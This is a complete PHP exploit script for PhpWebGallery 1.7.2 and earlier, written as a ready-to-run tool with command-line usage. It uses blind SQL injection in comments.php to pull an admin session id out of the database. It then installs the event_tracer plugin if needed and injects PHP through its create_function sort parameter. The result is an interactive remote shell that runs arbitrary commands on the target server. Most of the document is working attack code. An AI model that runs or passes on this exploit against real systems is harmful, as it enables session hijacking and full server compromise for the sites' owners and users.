PHPWebGallery 1.7.2 - Session Hijacking / Code Execution

<?php

/*
	------------------------------------------------------------------------
	PhpWebGallery <= 1.7.2 Remote Session Hijacking / Code Execution Exploit
	------------------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.phpwebgallery.net/
	details..: works with at least two rows in _comments table
	
	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.
	
	[-] vulnerable code in /plugins/event_tracer/event_list.php
	
	60.	$sort= isset($_GET['sort']) ? $_GET['sort'] : 1;
	61.	usort(
	62.	  $events,
	63.	  create_function( '$a,$b', 'return $a['.$sort.']>$b['.$sort.'];' )
	64.	  );
	
	An attacker could be able to inject and execute PHP code through $_GET['sort'], that is passed
	to create_function() at line 63 (see https://www.securityfocus.com/bid/31398). Only admin can
	access to the plugins management interface, but the attacker might be able to retrieve a valid
	admin session id using the SQL injection bug in comments.php (see lines 325-340)
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout",5);

define(STDIN, fopen("php://stdin", "r"));
define(PATTERN, "/<span class=\"author\">(.*)<\/span> -/");

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from {$host}:80 Trying again...\n";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

function check_target()
{
	global $host, $path, $prefix, $default_record;
	
	$packet  = "GET {$path}comments.php?sort_by=%s HTTP/1.0\r\n";
	$packet .= "Host: {$host}\r\n";
	$packet .= "Cookie: pwg_id=".md5("foo")."\r\n";
	$packet .= "Connection: close\r\n\r\n";

	preg_match("/FROM (.*)image_category/", http_send($host, sprintf($packet, "foo")), $match);
	$prefix = $match[1];
	
	preg_match(PATTERN, http_send($host, sprintf($packet, "id/**/LIMIT/**/1/*")), $match);
	$default_record = $match[1];
	
	preg_match(PATTERN, http_send($host, sprintf($packet, "author/**/LIMIT/**/1/*")), $match);
	if (!strlen($default_record) || $default_record == $match[1]) die("\n[-] Exploit failed...\n");
}

function encodeSQL($sql)
{
	for ($i = 0, $n = strlen($sql); $i < $n; $i++) $encoded .= dechex(ord($sql[$i]));
	return "CONCAT(0x{$encoded})";
}

function get_sid()
{
	global $host, $path, $prefix, $default_record;
	
	$chars = array_merge(array(0), range(48, 57), range(97, 102)); // 0-9 a-z
	$index = 1;
	$sid   = "";
	
	$packet  = "GET {$path}comments.php?sort_by=%s HTTP/1.0\r\n";
	$packet .= "Host: {$host}\r\n";
	$packet .= "Cookie: pwg_id=".md5("foo")."\r\n";
	$packet .= "Connection: close\r\n\r\n";
	
	print "\n[-] Fetching admin SID: ";
	
	while (!strpos($sid, chr(0)))
	{
		for ($i = 0, $n = count($chars); $i <= $n; $i++)
		{
			if ($i == $n) die("\n\n[-] Exploit failed...try later!\n");
			
			$sql  = "(SELECT/**/IF(ASCII(SUBSTR(id,{$index},1))={$chars[$i]},author,id)/**/FROM/**/{$prefix}sessions".
				"/**/WHERE/**/data/**/LIKE/**/".encodeSQL("pwg_uid|i:1;")."/**/LIMIT/**/1)/**/LIMIT/**/1/*";
					
			preg_match(PATTERN, http_send($host, sprintf($packet, $sql)), $match);	
			if ($match[1] != $default_record) { $sid .= chr($chars[$i]); print chr($chars[$i]); break; }
		}
		
		$index++;
	}
	
	print "\n";
	return $sid;
}

function check_plugin()
{
	global $host, $path, $sid;
	
	$packet  = "GET {$path}%s HTTP/1.0\r\n";
	$packet .= "Host: {$host}\r\n";
	$packet .= "Cookie: pwg_id={$sid}\r\n";
	$packet .= "Connection: close\r\n\r\n";
	
	// check if the event_tracer plugin isn't installed
	if (preg_match("/not active/", http_send($host, sprintf($packet, "admin.php?page=plugin&section=event_tracer/event_list.php"))))
	{
		http_send($host, sprintf($packet, "admin.php?page=plugins&plugin=event_tracer&action=install"));
		http_send($host, sprintf($packet, "admin.php?page=plugins&plugin=event_tracer&action=activate"));
	}	
}

print "\n+---------------------------------------------------------------------------+";
print "\n| PhpWebGallery <= 1.7.2 Session Hijacking / Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage...: php $argv[0] host path [sid]\n";
	print "\nhost....: target server (ip/hostname)";
	print "\npath....: path to PhpWebGallery directory";
	print "\nsid.....: a valid admin session id\n";
	die();
}

$host = $argv[1];
$path = $argv[2];

check_target();

$sid = (isset($argv[3])) ? $argv[3] : get_sid();

check_plugin();

$code	 = "0];}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;%%23";
$packet  = "GET {$path}admin.php?page=plugin&section=event_tracer/event_list.php&sort={$code} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: pwg_id={$sid}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
	print "\nphpwebgallery-shell# ";
	$cmd = trim(fgets(STDIN));
	if ($cmd != "exit")
	{
		$response = http_send($host, sprintf($packet, base64_encode($cmd)));
		preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
	}
	else break;
}

?>

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